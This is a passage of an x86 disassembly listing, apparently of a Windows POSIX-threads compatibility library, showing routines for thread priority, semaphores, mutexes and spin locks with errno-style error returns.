		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 27309F1h
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		call	near ptr 2730965h
		nop
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27B07E7h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 2730965h
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27B07E7h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 2820269h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2730252h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 2760416h
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	7EB147E8h, 30899077h, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2760416h
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2730000h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		call	near ptr 7C9010EDh
		nop


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
